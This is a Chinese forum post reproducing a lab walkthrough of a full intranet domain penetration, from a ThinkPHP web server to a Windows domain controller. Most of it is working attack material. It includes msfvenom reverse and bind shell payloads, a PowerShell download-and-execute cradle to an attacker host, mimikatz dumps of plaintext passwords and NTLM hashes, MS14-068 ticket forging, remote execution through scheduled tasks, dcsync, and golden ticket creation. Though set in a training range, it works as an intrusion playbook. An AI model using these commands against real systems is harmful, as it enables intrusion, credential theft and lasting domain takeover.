中国网络渗透测试联盟

标题: 完整的内网域渗透 [打印本页]

作者: admin    时间: 2022-3-31 01:48
标题: 完整的内网域渗透

完整的内网域渗透

项目六 完整的内网域渗透...............................................................................................................1

1. 环境介绍............................................................................................................. 3

1.1. 内网渗透环境......................................................................................... 3

2. 信息收集............................................................................................................. 3

2.1. masscan 端口探测................................................................................ 3

2.2. nmap 获取系统和端口版本信息........................................................ 3

3. 对网站进行安全检测........................................................................................ 4

3.1. 绑定 hosts.............................................................................................. 4

3.2. gobuster 目录文件扫描....................................................................... 5

3.3. svn 遍历源代码漏洞............................................................................. 5

3.4. wc.db 文件下载..................................................................................... 6

3.5. thinkphp 日志文件泄露....................................................................... 6

3.6. python 编写日志文件........................................................................... 6

3.7. 发现管理密文......................................................................................... 8

3.8. 绑定 hosts 碰撞管理后台子域名...................................................... 9

3.9. 后台验证码逻辑漏洞........................................................................... 11

3.10. 设置上传文件类型拿 webshell...................................................... 12

4. metasploit 进行提权和信息收集................................................................. 13

4.1. 生成攻击载荷....................................................................................... 13

4.2. 监听上线................................................................................................ 14

4.3. migrate 迁移进程................................................................................ 14

4.4. mimikatz 哈希明文获取..................................................................... 14

5. 跨网段域渗透................................................................................................... 15

5.1. metasploit 跨网段的域渗透.............................................................. 15

5.1.1. 确定域环境................................................................................ 15

5.1.2. 定位域控.................................................................................... 16

5.1.3. 域信息收集................................................................................ 16

5.1.4. 终端设置乱码........................................................................... 18

5.1.5. 终端执行命令信息收集命令.................................................. 18

5.1.6. 获取登录过的用户信息........................................................... 19

5.1.7. 添加路由渗透 DC 域控......................................................... 20

5.1.8. 开启代理.................................................................................... 20

5.1.9. 设置 porychanins 代理 nmap 扫描.................................. 22

5.1.10. 永恒之蓝 ms17_010 进行溢出.......................................... 24

5.1.11. ms14-068 的条件.................................................................. 24

5.1.12. 开启远程桌面......................................................................... 24

5.1.13. ms14-068 提权域控.............................................................. 26

5.1.14. 获取 dc 域控权限................................................................ 27

5.1.15. 获取 dc 域控哈希明文........................................................ 29

5.1.16. 抓域控全部 hash................................................................... 30

5.1.17. 制作黄金票据......................................................................... 30

5.1.18. 获取 ntml sid rid................................................................... 31

5.1.19. 窃取 域控超级管理权限................................................... 31

5.1.20. 生成黄金票据......................................................................... 31

5.1.21. 注入黄金票据...................................................................... 31

5.2. cobaltstrike 进行内网域渗透............................................................ 32

5.2.1. 建立 teamserver...................................................................... 32

5.2.2. web 服务器上执行下载 poershell 恶意代码............. 32

5.2.3. 设置间隔时间........................................................................... 33

5.2.4. 获取 hash 获取域内信任主机.............................................. 33

5.2.5. 扫描域内主机........................................................................... 34

5.2.6. cs 里面集合了很多 net 命令................................................ 35

5.2.7. cobaltstrike mimikatz web 服务获取明密文...................... 36

5.2.8. dir 访问域控 dc....................................................................... 37

5.2.9. cobaltstrike ms14-068 提权到域控...................................... 37

5.2.10. 获取 dc 域控权限................................................................ 39

5.2.11. 获取 dc 明文哈希................................................................ 41

5.2.12. cobaltstrike 制作黄金票据................................................... 41

6. FLAG 获取......................................................................................................... 43

6.1. web flag1............................................................................................... 43

6.2. web flag2............................................................................................... 44

6.3. dc flag3.................................................................................................. 44

7. 关注................................................................................................................... 44

 

1. 环境介绍

1.1.内网渗透环境

这个靶场是 webhack123 WEB 服务器有两块网卡 dc 是域控本文为技术培训技术文档,过程可能会让新人有点难以理解。过程是从 kali 渗透到 web 再渗透到内网 dc 也就是从外网打到域控

2.信息收集

2.1.masscan 端口探测

masscan -p 1-65535 192.168.0.150 --rate=1000

2.2.nmap 获取系统和端口版本信息

nmap -p 3306,49154,80,47001,49157,139,49153,445,135,49155,49156,49152 -A

192.168.0.150 -oA webhack

从端口探测的信息得到服务器是 WEB 容器是 phpstudy 套件操作系统是 Microsoft Windows Server 2008 R2

3.对网站进行安全检测

3.1.绑定 hosts

192.168.0.150 www.webhack123.com

www.webhack123.com 是一个 xxx 平台 核心框架是 ThinkPHP_3.1.3

后台暂时还不知道

3.2.gobuster 目录文件扫描

gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt

3.3.svn 遍历源代码漏洞

.svn存在可以遍历文件 但是这里失败

3.4.wc.db 文件下载

这个sqlite数据库文件 里面存在网站目录文件信息

svn如果没有获取 可以下载当前下的wc.db sqlitebrowser wc.db打开

下载 http://www.webhack123.com/.svn/wc.db

查看数据库 基本知道网站的整个架构

3.5.thinkphp 日志文件泄露

ThinkPHP_3.1.3中 日志文件始开启的经过wc.db可以知道文件目录位置

http://www.webhack123.com/App/Runtime/Logs/19_06_29.log

3.6.python 编写日志文件

#codingutf-8

import requests

url ="http://www.webhack123.com/App/Runtime/Logs"

def add_urls(patch,y): urls=[] for i in range(1,7):

for j in range(1,32): if i<10:

if j<10: urls.append(patch+"/%s_0%s_0%s.log" % (y,i,j)) else: urls.append(patch+"/%s_0%s_%s.log" % (y,i,j)) else:

if j<10: urls.append(patch+"/%s_%s_0%s.log" % (y,i,j)) else: urls.append(patch+"/%s_%s_%s.log" % (y,i,j))

return urls

urls = add_urls(url,"20")

for i in urls:

req=requests.get(i) if req.status_code==200: print(i)

html = req.text with open("webhack123.txt",'a',encoding='utf-8') as f:

f.write(html)

执行如下

3.7.发现管理密文

thinkphp 低版本在会记录修改密码的日志

账号 admin 密文 74c774ef39b5b977c1fd59dbfc73c3e380a65aa3

通过 somd5 web123

3.8.绑定 hosts 碰撞管理后台子域名

如果扫描目录后台 还是找不到后台可以试试绑定 hosts 碰撞子域名这种方法

最近有老哥写了一个脚本在 https://github.com/fofapro/Hosts_scan 脚本与我的需求有点

不合适小修改了一下自动导入 top3K 子域名进行穷举碰撞 IP 修改后的脚本

#!/usr/bin/python

# -*- coding: UTF-8 -*-

#Author:R3start

#这是一个用于 IP 和域名碰撞匹配访问的小工具

import requests import re

lists=[]

files = open('hosts_ok.txt','w+')

#读取 IP 地址

print("====================================                                                                                                                                                                                    

====================================") for iplist in open("ip.txt"):

ip = iplist.strip('\n')

#读取 host 地址

#http_s = ['http://','https://'] http_s = ['http://'] for h in http_s :

for d in open("top3kdomain.txt",'r'):#moonsec d = d.strip('\n') for hostlist in open("host.txt",'r'):

host = d+"."+hostlist.strip('\n')

                                  headers   =   {'Host':host,'User-Agent':'Mozilla/5.0                           (Windows NT                          10.0;

WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}

try:

r = requests.session() requests.packages.urllib3.disable_warnings() rhost = r.get(h+ip,verify=False,headers=headers,timeout=5) rhost.encoding='utf-8' title = re.search('<title>(.*)</title>', rhost.text).group(1) #获取标题

info = '%s -- %s 协议: %s 数据包大小: %d 标题: %s' %

(ip,host,h,len(rhost.text),title) lists.append(info) files.write(info + "\n") print(info)

except Exception :

error = ip + " --- " + host + " --- 访问失败!~" print(error)

print("==================================== 匹 配 成 功 的 列 表

====================================") for i in lists:

print(i)

因为目标没用 https 协议 可以只用 http 协议进行碰撞测试

admin.webhack123.com 这个就是它的后台地址

3.9.后台验证码逻辑漏洞

可以穷举密码

3.10. 设置上传文件类型拿 webshell

4.metasploit 进行提权和信息收集

4.1.生成攻击载荷

phpstudy套件是默认是系统权限的直接上传执行exe就是高权限了

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.127 lport=12345 -f exe >s.exe

4.2.监听上线

msf5 > use exploit/multi/hander

[-] No results from search

[-] Failed to load module: exploit/multi/hander msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.0.127 lhost => 192.168.0.127 msf5 exploit(multi/handler) > set lport 12345 lport => 12345

msf5 exploit(multi/handler) > exploit

权限

meterpreter > getuid

Server username: WEB\Administrator

4.3.migrate 迁移进程

migrate 迁移到64位进程里 migrate 592进行到 system 方便我们的操作

4.4.mimikatz 哈希明文获取

load mimikatz meterpreter > wdigest [+] Running as SYSTEM

  • Retrieving wdigest credentials wdigest credentials

    ===================

    AuthID       Package       Domain              User                   Password

    ------        -------       ------              ----                    --------

    0;46514      NTLM

    0;997         Negotiate    NT AUTHORITY   LOCAL SERVICE

    0;558301    NTLM            WEB                   Administrator    !@#Qwe456

    0;996                                                                       Negotiate   HACKBOX

    WEB$      @tB]xH/ka*ZmmIFokG1qiX#A#_ucF[yAQqI+VyKj]^NfcV9*ry"o$sfC)qN

    %SA+]DvRq@htb.=_Mf;g?(N3y$:e5j[h5g#VngdcT'Ku92U TG^$cLzCnSIhw

    0;999                                                                       Negotiate   HACKBOX

    WEB$      @tB]xH/ka*ZmmIFokG1qiX#A#_ucF[yAQqI+VyKj]^NfcV9*ry"o$sfC)qN

    %SA+]DvRq@htb.=_Mf;g?(N3y$:e5j[h5g#VngdcT'Ku92U TG^$cLzCnSIhw

    meterpreter > tspkg [+] Running as SYSTEM

  • Retrieving tspkg credentials tspkg credentials

    =================

    AuthID

    Package          Domain

    User                    Password

    ------

    -------       ------                 ----

    --------

    0;996

    Negotiate     HACKBOX

    WEB$

    0;46514

    NTLM

     

    0;997

    Negotiate         NT AUTHORITY

    LOCAL SERVICE

    0;999

    Negotiate     HACKBOX

    WEB$

    0;558301

    NTLM              WEB

    Administrator      !@#Qwe456

    看到有hackbox域 用户web 本地管理员Administrator 密码 !@#Qwe456

    5.跨网段域渗透

    5.1.metasploit 跨网段的域渗透

    这里我将用两个内网渗透神器进行域渗透下的域渗透分别是 metasploit cobalt strike4.0

    5.1.1.确定域环境

    net config workstation

    5.1.2.定位域控

    run post/windows/gather/enum_domain

    run post/windows/gather/enum_ad_computers

    5.1.3.域信息收集

    net time /domain 查看域控时间 net view 遍历信任主机 net view /domain 查看域

    net view /domain:hackbox

    查看域组失败 其他查看组信息均失败 net group /domain

    ifconfig 得到两个 ip

    10.10.10.150 192.168.0.150

    arp

    5.1.4.终端设置乱码

    metasploit终端使用shell返回的信息会有乱码,可以设置编码防止乱码

    chcp 65001

    5.1.5.终端执行命令信息收集命令

    ipconfig /all

    dns 10.10.10.149

    dns 一般都是与域控同一个 ip

    DC

    10.10.10.149

    WEB

    10.10.10.150

    5.1.6.获取登录过的用户信息

    run post/windows/gather/enum_logged_on_users

    5.1.7.添加路由渗透 DC 域控

    run autoroute -s 10.10.10.0/24

    5.1.8.开启代理

    use auxiliary/server/socks4a


    5.1.9.设置 porychanins 代理 nmap 扫描

    proxychains nmap -sT -A -Pn

    10.10.10.149

    Nmap scan report for 10.10.10.149 Host is up (0.98s latency).

    Not shown: 982 closed ports

    PORT

    STATE SERVICE

    53/tcp

    open

    domain

    88/tcp

    open

    kerberos-sec

    135/tcp

    open

    msrpc

    139/tcp

    open

    netbios-ssn

    389/tcp

    open

    ldap

    445/tcp

    open

    microsoft-ds

    464/tcp

    open

    kpasswd5

    593/tcp

    open

    http-rpc-epmap

    636/tcp

    open

    ldapssl

    3268/tcp

    open

    globalcatLDAP

    3269/tcp

    open

    globalcatLDAPssl

    49152/tcp open

    unknown

    49153/tcp open

    unknown

    49154/tcp open

    unknown

    49156/tcp open

    unknown

    49157/tcp open

    unknown

    49158/tcp open

    unknown

    49163/tcp open

    unknown

    5.1.10. 永恒之蓝 ms17_010 进行溢出

    溢出失败

    5.1.11.   ms14-068 的条件

    使用这个 exp 需要一个普通域控用户 web 是域用户 但是不知道密码

    5.1.12. 开启远程桌面

    run post/windows/manage/enable_rdp rdesktop 192.168.0.150

    密码应该是对的 但不是远程组而已

    5.1.13.   ms14-068 提权域控

    5.1.13.1. ms14-068.exe 创建票据

    这些信息从 metasploit 前期信息来的,可以翻到上面查看

    ms14-068.exe -u web@hackbox.com -s

    S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

    5.1.13.2. 载入 kiwi

    load kiwi

    5.1.13.3. 清理票据

    kerberos_ticket_purge 清理票据

    5.1.13.4. 导入票据

    metasploit mimikatz 好似没有这个功能。

    上传 mimikatz 注入票据

    mimikatz # kerberos::ptc TGT_web@hackbox.com.ccache

    exit

    klist 查看当前票据

    访问 dc 域控

    5.1.14. 获取 dc 域控权限

    5.1.14.1. 生成正向载荷

    msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe >`pwd`/bind.exe

    5.1.14.2. copy 复制到域控

    c:\phpstudy_pro\WWW\www.webhack123.com>copy bind.exe \\dc\C$\ copy bind.exe \\dc\C$\ 1 file(s) copied.

    5.1.14.3. at 执行任务运行 exe

    c:\phpstudy_pro\WWW\www.webhack123.com>at at

    There are no entries in the list.

    c:\phpstudy_pro\WWW\www.webhack123.com>at \\dc at \\dc

    There are no entries in the list.

    c:\phpstudy_pro\WWW\www.webhack123.com>net time \\dc net time \\dc

    Current time at \\dc is 2020/6/21 23:53:07 The command completed successfully.

    c:\phpstudy_pro\WWW\www.webhack123.com>at \\dc 23:55:00 c:/bind.exe at \\dc 23:55:00 c:/bind.exe

    Added a new job with job ID = 1

    5.1.14.4. 获取域控权限命令

    复制文件到目标

    copy bind.exe \\dc\C$\ 查询 dc 时间 net time \\dc 增加任务执行

    at \\dc 23:55:00 c:/bind.exe

    连接域控

    use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf5 exploit(multi/handler) > set rhost 10.10.10.149 rhost => 10.10.10.149 msf5 exploit(multi/handler) > set lport 13777 lport => 13777 msf5 exploit(multi/handler) > exploit

    5.1.15. 获取 dc 域控哈希明文

    迁移进程

    migrate 388 meterpreter > run hashdump

    [!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.

    [!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]

  • Obtaining the boot key...

  • Calculating the hboot key using SYSKEY 36ce7093f2a02644f802d363ec425289...

    /usr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant

    OpenSSL::Cipher::Cipher is deprecated

  • Obtaining the user list and keys...

  • Decrypting user keys...

    /usr/share/metasploit-framework/lib/rex/script/base.rb:268: warning: constant

    OpenSSL::Cipher::Cipher is deprecated

    /usr/share/metasploit-framework/lib/rex/script/base.rb:272: warning: constant

    OpenSSL::Cipher::Cipher is deprecated

    /usr/share/metasploit-framework/lib/rex/script/base.rb:279: warning: constant

    OpenSSL::Cipher::Cipher is deprecated

  • Dumping password hints...

    No users with password hints on this system

  • Dumping password hashes...

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f 1c3b33:::

    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::

    load mimikatz tspkg

    5.1.16. 抓域控全部 hash

    run post/windows/gather/smart_hashdump

    [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f1c3b33

    [+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98

    [+] web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074

    [+] DC$:1000:aad3b435b51404eeaad3b435b51404ee:35038905f0fcf79eca3d8fff28f94f87

    [+]   WEB$:1104:aad3b435b51404eeaad3b435b51404ee:fd0c8f5bc45e86c9ca5c8a289

    5.1.17. 制作黄金票据

    考虑长期权维护,还是做一个黄金票据比较保险。

    5.1.18. 获取 ntml sid rid

    wmic useraccount where name="krbtgt" get sid

    5.1.19. 窃取 域控超级管理权限

    系统权限没办法做dcsync 所以切换域管理权限

    steal_token 2812 dcsync_ntlm krbtgt

    5.1.20. 生成黄金票据

    golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket 本地存储路径如:/tmp/krbtgt.ticket>

    golden_ticket_create -d hackbox.com -u moonsec -s S-1-5-21-2005268815-658469957-1189185684 -k

    6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket

    5.1.21. 注入黄金票据

    切换到 web 服务器 把凭据都清理掉

    kerberos_ticket_use /tmp/test.ticket dir \\dc\c$

    5.2.cobaltstrike 进行内网域渗透

    5.2.1.建立 teamserver

    ./teamserver 192.168.0.127 4477

    设置好监听器

    5.2.2.web 服务器上执行下载 poershell 恶意代码

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.127:80/a'))"

    5.2.3.设置间隔时间

    进入 beacon

    设置间隔时间 sleep 0 不然会影响后面的操作

    5.2.4.获取 hash 获取域内信任主机

    5.2.5.扫描域内主机


    5.2.6.cs 里面集合了很多 net 命令

    可以使用这些命令,方便快捷收集域信息

    5.2.7.cobaltstrike mimikatz web 服务获取明密文

    5.2.8.dir 访问域控 dc

    5.2.9.cobaltstrike ms14-068 提权到域控

    转换的时候出错 估计是文件类型问题

    5.2.9.1. py 脚本下创建票据

    root@kali:~/Desktop/webhack123/pykek# set +H root@kali:~/Desktop/webhack123/pykek# proxychains python ms14-068.py -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

    5.2.9.2. KrbCredExport .ccache 文件转化为 kirbi 格式

    python KrbCredExport.py ../pykek/TGT_web@hackbox.com.ccache user.ticket

    5.2.9.3. 导入票据访问 dc

    导入票据

    kerberos_ticket_use C:\user.ticket

    访问域控 dc

    5.2.10. 获取 dc 域控权限

    现在只有访问 dc 域控的权限,接下来是 dc 域控的控制权限

    5.2.10.1. 设置 smb 连接器

    生成后门文件 选择 smb 因为是正向连接 如果使用反向链接 需要做转发 比较麻烦

    5.2.10.2. 复制文件到 dc 域控并运行

    shell at \\dc 15:05:00 c:/aaa.exe

    5.2.10.3. beacon 正向连接上 dc

    link dc

    5.2.11. 获取 dc 明文哈希

    命令输入 mimikatz hashdump

    5.2.12. cobaltstrike 制作黄金票据

    5.2.12.1. 在域控上执行命令导出 krbtgt 信息

    beacon> dcsync hackbox.com hackbox\krbtgt

    5.2.12.2. web 上制作黄金票据

    mimikatz kerberos::golden /user:moon /domain:hackbox.com

    /sid:S-1-5-21-2005268815-658469957-1189185684

    /krbtgt:6f60ace6accbcb76078ccc0312174e98 /endin:480 /renewmax:10080 /ptt

    制作前访问 dc 失败

    制造后访问 dc 成功

    6.FLAG 获取

    6.1.web flag1

    6.2.web flag2

    6.3.dc flag3

    7.关注

    个人公众号                         暗月博客公众号

    下回给大家带来一个内网限制条件较多域 bypass av 过防火墙等复杂的域内环境






    欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2